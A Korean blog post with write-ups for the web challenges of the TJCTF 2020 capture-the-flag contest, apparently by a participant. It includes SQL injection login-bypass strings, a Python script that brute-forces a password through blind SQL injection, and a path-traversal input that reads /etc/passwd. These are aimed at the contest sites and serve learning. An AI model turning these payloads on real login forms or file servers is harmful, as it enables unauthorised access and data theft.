TJ2020] Write ups - Web

노션으로 옮김·2020년 5월 26일
2

wargame

목록 보기
52/59
post-thumbnail

WEB

Broken Button

This site is telling me all I need to do is click a button to find the flag! Is it really that easy?

문제 페이지에 접속하면 동작하지 않는 버튼이 있다.

풀이

소스를 보면 flag를 출력하는 페이지로 이동할 수 있는 버튼이 숨겨져 있다.
링크로 이동하면 플래그를 확인할 수 있다.

tjctf{wHa1_A_Gr8_1nsp3ct0r!}

Login

Could you login into this very secure site? Best of luck!

접속해보면 로그인 페이지가 나온다.

풀이

로그인 버튼을 누르면 checkUsername()이 호출되고

checkUsername = function() {
    username = document[_0x4a84('0x1')]('username')[0x0]['value'];
    password = document[_0x4a84('0x1')]('password')[0x0][_0x4a84('0x3')];
    temp = md5(password)[_0x4a84('0x2')]();
    if (username == _0x4a84('0x6') && temp == _0x4a84('0x4')) alert(_0x4a84('0x0') + password + '890898}');
    else alert(_0x4a84('0x5'));
};

이 함수는 입력받은 패스워드를 md5 해쉬한 결과를 _0x4a84('0x4')와 비교한다.

_0x4a84('0x4')를 md5 decrypt하면 원본 패스워드를 얻을 수 있고, 구한 값으로 로그인 하면 flag를 alert로 출력해준다.

tjctf{horizons890898}

Sarah Palin fanpage

Are you a true fan of Alaska's most famous governor? Visit the Sarah Palin fanpage.

접속해보면

팬 페이지가 나오고 VIP area에 접근하면 Top 10 moments에서 10개의 좋아요를 눌러야 페이지를 확인할 수 있다는 문구를 확인할 수 있다.

풀이

좋아요를 눌러보면 4개를 시도할 때 시간 당 좋아요 가능 횟수가 정해져 있다는 경고문이 출력된다.

좋아요를 눌렀을 때 호출되는 함수는 doLike()이고

onclick = doLike(10);

페이지 소스를 보면 likes.js를 임포트하고 있다.

<script src="javascripts/likes.js"></script>

likes.js를 보면 doLike()를 찾을 수 있으나 좋아요 개수를 검사는 서버에서 이뤄졌었다.

let doLike = (value) => { 
    var ajax_params = {
		'url': 'likesWorker',
		'type': 'get',
		'data': {
			'choice': value
		},
		'success': (responseText) => {
		    if (responseText == 'failed') {
		        alert('To prevent spam, you can only like five moments at a time! To like this moment, unlike another one and try again.')
		    }
		    else {
		        if (document.getElementById("button" + value).innerHTML == "Unlike this moment") {
		            console.log("Unliking moment " + value)
		            document.getElementById("button" + value).innerHTML = "Like this moment";
		        }
		        else {
		            console.log("Liking moment " + value)
		            document.getElementById("button" + value).innerHTML = "Unlike this moment";
		        }
		        console.log(responseText)
		        document.getElementById("moment" + value).innerHTML = document.getElementById("moment" + value).innerHTML.substring(0, document.getElementById("moment" + value).innerHTML.lastIndexOf("(") + 1) + responseText + " likes)"; 
		    }
		}
	}

	$.ajax(ajax_params);
}

다른 방법을 찾기 위해 쿠키를 확인하니 data라는 쿠키가 있었고 base64 디코딩하여 확인한 값은

{"1":false,"2":false,"3":false,"4":false,"5":false,"6":false,"7":false,"8":false,"9":false,"10":false}

따라서 모두 true로 변경해준 값을 쿠키로 설정하여 VIP area에 접근하면 플래그를 확인할 수 있다.

tjctf{C4r1b0u_B4rb1e}

Login Sequel

Login as admin you must. This time, the client is of no use :(. What to do?

간단한 로그인 페이지가 주어진다.

풀이

SQL 인젝션 문제이다.
소스를 보면 쿼리를 확인할 수 있다.

def get_user(username, password):
    database = connect_database()
    cursor = database.cursor()
    try:
        cursor.execute('SELECT username, password FROM `userandpassword` WHERE username=\'%s\' AND password=\'%s\'' % (username, hashlib.md5(password.encode())))
    except:
        return render_template("failure.html")
    row = cursor.fetchone()
    database.commit()
    database.close()
    if row is None: return None
    return (row[0],row[1])

필터되는 값을 확인하고 간단히

admin' || 1=1 #

를 해봤지만 실패했다.
참, 거짓을 표시해주지도 않아서 설마 time based injection인가 하고 benchmark, sleep 다 해봤지만 안됐다..

문득 /* */ 주석이 생각나서 사용해봤다.
패스워드는 md5 처리되기 때문에 스킵한다.

username: admin' /*

이럴수가..
주석을 안 닫았는데 왜 되는거지...?;

tjctf{W0w_wHa1_a_SqL1_exPeRt!}

Weak Password

It seems your login bypass skills are now famous! One of my friends has given you a challenge: figure out his password on this site. He's told me that his username is admin, and that his password is made of up only lowercase letters. (Wrap the password with tjctf{...})

접속하면 Login Sequel과 같은 페이지를 볼 수 있다.
하지만, 동일하게 참을 반환하는 쿼리를 인젝션해도 플래그는 확인할 수 없다.

풀이

Blind Sql Injection으로 패스워드를 알아내야 한다.
필터는 동일한 것 같다. like를 이용해 패스워드를 알아낼 수 있다.

import requests
import string

chars = string.lowercase + string.digits + '\\!\\@\\#\\$\\%\\^\\&\\*\\(\\)\\_\\+\\-\\=\\{\\}\\;\\,\\.\\/\\<\\>\\?'
flag = 'blinded'
while True:
    bf = len(flag)
    ch = ''
    idx = 0
    while idx < len(chars):
        if chars[idx] == '\\':
            ch = chars[idx] + chars[idx+1]
            idx += 2
        else:
            ch = chars[idx]
            idx += 1
        payload = 'admin\' and password like "'+ flag + ch + '%" /*'
        print payload
        res = requests.post('https://weak_password.tjctf.org/login', data = {'username': payload, 'password' : 'test'})
        if res.text.find('Congratulations!') != -1:
            print 'Found flag!!'
            print 'char: ' + ch
            flag += ch
            print 'flag: ' + flag
            break
    af = len(flag)
    if bf == af:
        print 'The work is done'
        break
print 'Complete flags is : tjctf{' + flag + '}'

플래그는

tjctf{blinded}

File Viewer

So I've been developing this really cool site where you can read text files! It's still in beta mode, though, so there's only six files you can read.

접속하면 파일 목록이 출력되고, 파일명을 입력하면 파일 내용을 읽을 수 있다.

풀이

../../../etc/passwd에 접근하면 passwd 내용이 출력된다.
LFI 취약점이 존재한다.

스캔과 익스플로잇은 LFISuite 퍼저로 진행했다.

tjctf{n1c3_j0b_with_lf1_2_3c3}

Gamer W

Can you figure out how to cheat the system? Grab his hat to prove your victory!

접속하면 WebGL 기반의 게임이 실행된다.

풀이

치트엔진으로 삽질을 하다가
검색을 해보니 데프콘에서 발표했던 웹어셈블리 전용 치팅도구가 있었다.

데프콘 발표 영상처럼 f32 자료형으로 검색을 하면 돈, 체력 등 사용되는 데이터를 검색할 수 있다.

체력을 고정값으로 설정하고 보스를 잡으면 화면이 변경되고, 다른 문제가 생긴다..
보스 사이에 장벽이 생겨 보스를 잡을 수 없다.

하지만, 좌표값을 변경해 보스위치로 이동한 후 클리어할 수 있다.

tjctf{c3tus_del3tvs_vr_m3ms_g0ne}

Admin Secret

See if you can get the flag from the admin at this website!

풀이

https://velog.io/@woounnan/JAVASCRIPT-fetch

0개의 댓글